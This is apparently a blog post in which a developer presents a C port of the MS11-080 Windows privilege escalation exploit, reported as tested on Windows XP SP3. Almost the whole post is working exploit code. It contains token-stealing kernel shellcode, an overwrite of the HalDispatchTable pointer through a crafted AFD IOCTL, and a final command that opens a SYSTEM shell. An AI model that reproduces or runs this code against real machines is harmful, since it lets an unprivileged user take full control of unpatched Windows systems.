I am really curious about why this exploit is published in python? Anyway here is my implementation in C. I tested it on WinXP SP3 English, but it should also work on WIN 2K3 SP2 Standard/Enterprise English as original version does.

You can get original python script from here

#pragma comment(lib,"psapi.lib")
#pragma comment(lib,"ws2_32.lib")

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <Psapi.h>
#include <Windows.h>

#define DRIVERCOUNT 1024
#define DRIVERNAMESIZE 256
#define MEMRES (0x1000 | 0x2000)
#define PAGEEXE 0x00000040

// AFDJoinLeaf
#define IOCTL  0x000120bb  

#define IRPSTUFF_SIZE 256
#define TOKENSTEALING_SIZE 70
#define RESTORETOKEN_SIZE 28
#define RESTOREPTRS_SIZE 22
#define PADDING_SIZE 2
#define SHELLCODE_SIZE (PADDING_SIZE+RESTOREPTRS_SIZE+TOKENSTEALING_SIZE)

// This will trigger the path to AfdRestartJoin
CHAR* irpstuff   = "\x41\x41\x41\x41\x42\x42\x42\x42\x00\x00\x00\x00\x44\x44" \
    "\x44\x44\x01\x00\x00\x00\xE8\x00\x34\xF0\x00\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
    "\x45\x45\x45\x45";
//70 byte
CHAR* tokenstealing_xp =  "\x52\x53\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x44\x8b\xc8" \
    "\x8b\x98\xc8\x00\x00\x00\x89\x1d\x00\x09\x02\x00\x8b\x80\x88\x00\x00\x00\x81\xe8\x88\x00" \
    "\x00\x00\x81\xb8\x84\x00\x00\x00\x04\x00\x00\x00\x75\xe8\x8b\x90\xc8\x00\x00\x00\x8b\xc1" \
    "\x89\x90\xc8\x00\x00\x00\x5b\x5a\xc2\x10";
//70 byte               
CHAR* tokenstealing_2k3 =  "\x52\x53\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x38\x8b\xc8" \
    "\x8b\x98\xd8\x00\x00\x00\x89\x1d\x00\x09\x02\x00\x8b\x80\x98\x00\x00\x00\x81\xe8\x98\x00" \
    "\x00\x00\x81\xb8\x94\x00\x00\x00\x04\x00\x00\x00\x75\xe8\x8b\x90\xd8\x00\x00\x00\x8b\xc1" \
    "\x89\x90\xd8\x00\x00\x00\x5b\x5a\xc2\x10";
//28 byte               
CHAR* restore_token_xp =  "\x52\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x44\x8b\x15\x00" \
    "\x09\x02\x00\x89\x90\xc8\x00\x00\x00\x5a\xc2\x10";
//28 byte               
CHAR* restore_token_2k3 =  "\x52\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x38\x8b\x15\x00\x09" \
    "\x02\x00\x89\x90\xd8\x00\x00\x00\x5a\xc2\x10";

//22 byte
CHAR* restore_ptrs_layout="\x31\xc0\xb8\x00\x00\x00\x00\xa3\x00\x00\x00\x00\xb8\x00\x00\x00\x00\xa3\x00\x00\x00\x00";

//2 byte
CHAR* padding="\x90\x90";

typedef struct _IO_STATUS_BLOCK {
    NTSTATUS Status;
    ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef VOID (*PIO_APC_ROUTINE) (
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    ULONG Reserved
);

typedef NTSTATUS (NTAPI *_NtAllocateVirtualMemory)(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );

typedef NTSTATUS (*_ZwDeviceIoControlFile)(
    __in HANDLE FileHandle, 
    __in_opt   HANDLE Event, 
    __in_opt   PIO_APC_ROUTINE ApcRoutine,
    __in_opt   PVOID ApcContext,
    __out      PIO_STATUS_BLOCK IoStatusBlock,
    __in       ULONG IoControlCode,
    __in_opt   PVOID InputBuffer,
    __in       ULONG InputBufferLength,
    __out_opt  PVOID OutputBuffer,
    __in       ULONG OutputBufferLength
);

typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *_NtQueryIntervalProfile)( KPROFILE_SOURCE ProfileSource, PULONG Interval );

LPVOID findSysBase(char* driver){
    LPVOID drivers[DRIVERCOUNT];
    DWORD cbNeeded;
    CHAR driverName[DRIVERNAMESIZE];
    DWORD index;
    DWORD driverCount;

    if(EnumDeviceDrivers(drivers,DRIVERCOUNT,&cbNeeded) && cbNeeded<DRIVERCOUNT){
        
        driverCount = cbNeeded /sizeof(drivers[0]);

        for(index=0;index<driverCount;index++){
            memset(driverName,0,DRIVERNAMESIZE);
            if(GetDeviceDriverBaseNameA(drivers[index],driverName,DRIVERNAMESIZE)>0){
                if(!stricmp(driver, driverName)){
                    return drivers[index];
                }
            }
        }
    }

    return NULL;
}

char* findKernelVersion(){
    LPVOID drivers[DRIVERCOUNT];
    DWORD cbNeeded;
    DWORD index;
    DWORD driverCount;

    char* driverName = (char*)calloc(DRIVERNAMESIZE,sizeof(CHAR));

    if(EnumDeviceDrivers(drivers,DRIVERCOUNT,&cbNeeded) && cbNeeded<DRIVERCOUNT){        
        driverCount = cbNeeded /sizeof(drivers[0]);
        for(index=0;index<driverCount;index++){
            memset(driverName,0,DRIVERNAMESIZE);
            if(GetDeviceDriverBaseNameA(drivers[index],driverName,DRIVERNAMESIZE)>0){
                if(strstr(driverName,"krnl")){
                    return driverName;
                }
            }
        }
    }
    return NULL;
}

int prepareAndConnectSocket(){

    WSADATA wsaData;
    int sock;
    struct sockaddr_in address;

    if (WSAStartup(0x202, &wsaData) != 0)
    {
        fprintf(stderr, "WSAStartup() failed");
        exit(1);
    }

    if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,NULL,NULL)) == INVALID_SOCKET ){
        fprintf(stderr, "socket() failed");
        exit(1);
    }

    address.sin_family = AF_INET;
    address.sin_port = htons(4455);
    address.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (!connect(sock, (struct sockaddr *) &address, sizeof(struct sockaddr_in)) == INVALID_SOCKET){
        fprintf(stderr, "connect() failed: %d",GetLastError());
        exit(1);
    }

    return sock;
}

FARPROC GetFunctionAddress(LPCSTR libraryName, LPCSTR functionName) {
    HMODULE hModule;
    hModule = LoadLibrary(libraryName);
    if(hModule==NULL)
        return NULL;

    return GetProcAddress(hModule,functionName);
}

char* int2chararray(int i)
{
    char* ch_array=(char*)calloc(4,sizeof(char));
    ch_array[0]=i&0xff;
    ch_array[1]=(i>>8)&0xff;
    ch_array[2]=(i>>16)&0xff;
    ch_array[3]=(i>>24)&0xff;
    return ch_array;
}

int main(int argc, char* argv[]){

    LPVOID driverBase,halBase;
    _NtAllocateVirtualMemory NtAllocateVirtualMemory;
    _ZwDeviceIoControlFile ZwDeviceIoControlFile;
    _NtQueryIntervalProfile NtQueryIntervalProfile;
    int client;
    SIZE_T written;
    NTSTATUS status;
    HMODULE hKernel;
    int krnlBase;
    char* os;
    int HaliQuerySystemInformation, HalpSetSystemInformation, HalDispatchTable;   
    int shellcode_address_dep, shellcode_address_nodep;
    int regionSize = 0x1000;
    int baseAddr = 0x1001;
    IO_STATUS_BLOCK IoStatusBlock;
    unsigned long out;
    CHAR* restore_ptrs,*shellcode;

    printf("[*] MS11-080 Privilege Escalation Exploit\n");

    if(argc < 2){
        printf("usage:  %s <XP|2K3>\n",argv[0]);
        return 0;
    }else if(!stricmp(argv[1],"XP")){
        os = "XP";
    }else if(!stricmp(argv[1],"2K3")){
        os = "2K3";
    }else{
        printf("usage:  %s <XP|2K3>\n",argv[0]);
        return 0; 
    }
    
    restore_ptrs = (CHAR*)malloc(RESTOREPTRS_SIZE);
    memcpy(restore_ptrs,restore_ptrs_layout,RESTOREPTRS_SIZE);

    client = prepareAndConnectSocket();
    
    NtAllocateVirtualMemory = (_NtAllocateVirtualMemory) GetFunctionAddress("ntdll.dll","NtAllocateVirtualMemory");
    if(!NtAllocateVirtualMemory){
        fprintf(stderr, "GetProcAddress() failed");
        exit(1);
    }

    ZwDeviceIoControlFile = (_ZwDeviceIoControlFile) GetFunctionAddress("ntdll.dll","ZwDeviceIoControlFile");
    if(!ZwDeviceIoControlFile){
        fprintf(stderr, "GetProcAddress() failed");
        exit(1);
    }

    NtQueryIntervalProfile = (_NtQueryIntervalProfile) GetFunctionAddress("ntdll.dll","NtQueryIntervalProfile");
    if(!NtQueryIntervalProfile){
        fprintf(stderr, "GetProcAddress() failed");
        exit(1);
    }

    if(NtAllocateVirtualMemory(GetCurrentProcess(),(PVOID*)&baseAddr,0x0,(PSIZE_T)&regionSize,MEMRES, PAGEEXE)!=0){
        fprintf(stderr, "NtAllocateVirtualMemory() failed");
        exit(1);
    }

    WriteProcessMemory(GetCurrentProcess(),(LPVOID)0x1000,irpstuff,0x100,&written);
    VirtualProtect((LPVOID)0x00020000,0x1000,PAGEEXE,&written);

    hKernel = LoadLibraryEx(findKernelVersion(),NULL,DONT_RESOLVE_DLL_REFERENCES);
    krnlBase = (int)findSysBase(findKernelVersion());
    HalDispatchTable = (int)GetProcAddress(hKernel,"HalDispatchTable");

    HalDispatchTable -= (int)hKernel;
    HalDispatchTable += krnlBase;

    printf("[*] HalDispatchTable Address 0x%08x\n",HalDispatchTable);

    halBase = findSysBase("hal.dll");

    if(!strcmp(os,"XP")){//XP
     HaliQuerySystemInformation = (int)halBase + 0x16bba;
        HalpSetSystemInformation = (int)halBase + 0x19436;
    }else{// Win2k3 SP2
     HaliQuerySystemInformation = (int)halBase + 0x1fa1e;
        HalpSetSystemInformation = (int)halBase + 0x21c60;
    }

    printf("[*] HaliQuerySystemInformation address 0x%08x\n",HaliQuerySystemInformation);
    printf("[*] HalpSetSystemInformation address 0x%08x\n",HalpSetSystemInformation);
    
    shellcode_address_dep   = 0x0002071e;
    shellcode_address_nodep = 0x000207b8;

    memcpy(restore_ptrs+3,int2chararray(HalpSetSystemInformation),4);
    memcpy(restore_ptrs+8,int2chararray(HalDispatchTable+0x8),4);
    memcpy(restore_ptrs+13,int2chararray(HaliQuerySystemInformation),4);
    memcpy(restore_ptrs+18,int2chararray(HalDispatchTable+0x4),4);

    shellcode = (CHAR*)malloc(PADDING_SIZE+RESTOREPTRS_SIZE+TOKENSTEALING_SIZE);

    memcpy(shellcode,padding,PADDING_SIZE);
    memcpy(shellcode+PADDING_SIZE,restore_ptrs,RESTOREPTRS_SIZE);
    if(!strcmp(os,"XP")){//XP
     memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,tokenstealing_xp,TOKENSTEALING_SIZE);
    }else{// Win2k3 SP2
     memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,tokenstealing_2k3,TOKENSTEALING_SIZE);
    }

    WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_dep,shellcode,SHELLCODE_SIZE,&written);
    WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_nodep,shellcode,SHELLCODE_SIZE,&written);

    ZwDeviceIoControlFile((HANDLE)client,NULL,NULL,NULL,&IoStatusBlock,IOCTL,(CHAR*)0x1004,0x108,(CHAR*)(HalDispatchTable+5),0x0);

    printf("[*] Triggering AFDJoinLeaf pointer overwrite...\n");
    NtQueryIntervalProfile((KPROFILE_SOURCE)0x1337,&out);
    
    printf("[*] Spawning a SYSTEM shell\n");
    system("cmd.exe /T:C0 /K cd c:\\windows\\system32");

    printf("[*] Restoring token...\n");

    memset(shellcode,0,SHELLCODE_SIZE);
    memcpy(shellcode,padding,PADDING_SIZE);
    memcpy(shellcode+PADDING_SIZE,restore_ptrs,RESTOREPTRS_SIZE);
    if(!strcmp(os,"XP")){//XP
     memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,restore_token_xp,RESTORETOKEN_SIZE);
    }else{// Win2k3 SP2
     memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,restore_token_2k3,RESTORETOKEN_SIZE);
    }

    WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_dep,shellcode,SHELLCODE_SIZE,&written);
    WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_nodep,shellcode,SHELLCODE_SIZE,&written);
    
    ZwDeviceIoControlFile((HANDLE)client,NULL,NULL,NULL,&IoStatusBlock,IOCTL,(CHAR*)0x1004,0x108,(CHAR*)(HalDispatchTable+5),0x0);

    NtQueryIntervalProfile((KPROFILE_SOURCE)0x1337,&out);

    printf("[*] Restore done!\n");
    system("pause");
    return 0;
}


Ali Demiroz

I am a software developer, life-long learner and time-pemitted gamer!

blog comments powered by Disqus